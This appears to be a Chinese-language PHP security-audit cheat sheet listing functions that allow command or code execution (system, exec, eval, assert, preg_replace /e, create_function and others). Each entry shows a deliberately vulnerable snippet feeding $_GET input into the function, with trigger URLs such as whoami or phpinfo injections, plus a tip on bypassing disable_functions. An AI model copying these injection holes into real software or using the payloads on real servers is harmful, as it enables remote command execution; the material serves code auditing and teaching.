0x01 前言
这一篇其实就是一个简单的总结。
告诉我们如果审计的时候遇到这些函数了。
看看外部是否可控。
如果可控,那么就可能有命令执行/代码执行。
0x02 漏洞危害
继承web服务器的权限执行命令或是执行代码
0x02 相关函数
- 反引号(就是``)
- system
- exec
- passthru
- shell_exec
- ob_start
- popen
这3个函数经常被用来绕 disable_functions
popen()/proc_open()/pcntl_exec()
- array_map
- eval
- preg_replace
- assert
- call_user_func
- call_user_func_array
- create_function
0x03 部分函数使用例子
系统: Windows8
服务器: Apache
PHP版本: PHP5.6.27-nts
0x03.1 反引号(就是``)
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami// 执行完毕以后,使用 var_dump()函数,页面会返回执行的命令结果$test = $_GET['test'];$command = `$test`;var_dump($command);?>
0x03.2 system
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami// 执行完毕以后,页面会返回执行的命令结果$test = $_GET['test'];system($test);?>
0x03.3 exec
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami >> 1.txt// 执行成功以后,会在根目录下生成文件1.txt 里面会记录 whoami 的值$test = $_GET['test'];exec($test);?>
0x03.4 passthru
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami >> 1.txt// 执行成功以后,会在根目录下生成文件1.txt 里面会记录 whoami 的值$test = $_GET['test'];passthru($test);?>
0x03.5 shell_exec
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami >> 1.txt// 执行成功以后,会在根目录下生成文件1.txt 里面会记录 whoami 的值$test = $_GET['test'];shell_exec($test);?>
0x03.6 ob_start
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami// 执行完毕以后,页面会返回执行的命令结果$sky = 'system';ob_start($sky);echo $_GET['test'];ob_end_flush();?>
0x03.7 popen
<?php// 文件名: a.php// http://atest.test/a.php?test=whoami >> 1.txt// 执行成功以后,会在根目录下生成文件1.txt 里面会记录 whoami 的值$test = $_GET['test'];popen($test,'r');?>
0x03.8 array_map
<?php// 文件名: a.php// http://atest.test/a.php?test=phpinfo$test = $_GET['test'];$array = [1,2,3,4,5];array_map($test,$array);?>
0x03.9 eval
<?php// 文件名: a.php// http://atest.test/a.php?test=phpinfo();$test = $_GET['test'];eval($test);?>
0x03.10 preg_replace
<?php// 注1// http://127.0.0.1/a.php?cmd=<php>phpinfo()</php>preg_replace("/<php>(.*?)<\/php>/e","\\1",$_GET['cmd']);// 注2// http://127.0.0.1/a.php?cmd=phpinfo()preg_replace("/cmd/e",$_GET['cmd'],"cmd");// 注3// http://127.0.0.1/a.php?cmd=[php]phpinfo();[/php]preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['cmd']);?>
0x03.11 assert
<?php// http://127.0.0.1/a.php?test=phpinfo();$test = $_GET['test'];assert($test);?>
0x03.12 call_user_func
<?php// http://127.0.0.1/a.php?test=phpinfo();$test = $_GET['test'];$a = 'assert';call_user_func($a,$test);?>
0x03.13 call_user_func_array
<?php// http://127.0.0.1/a.php?test[]=phpinfo();$test = $_GET['test'];$a = 'assert';call_user_func_array($a,$test);?>
0x03.14 create_function
<?php// http://atest.test/a.php?1=}phpinfo();%23$function = $_GET[1];create_function('', $function);?>
0x03.15 动态函数
<?php// 文件名: a.php// http://atest.test/a.php?fun=system&cmd=whoami// 执行完毕以后,会根据调用的函数来确定是否返回执行的命令结果$fun = $_GET['fun'];$cmd = $_GET['cmd'];$fun($cmd);?>
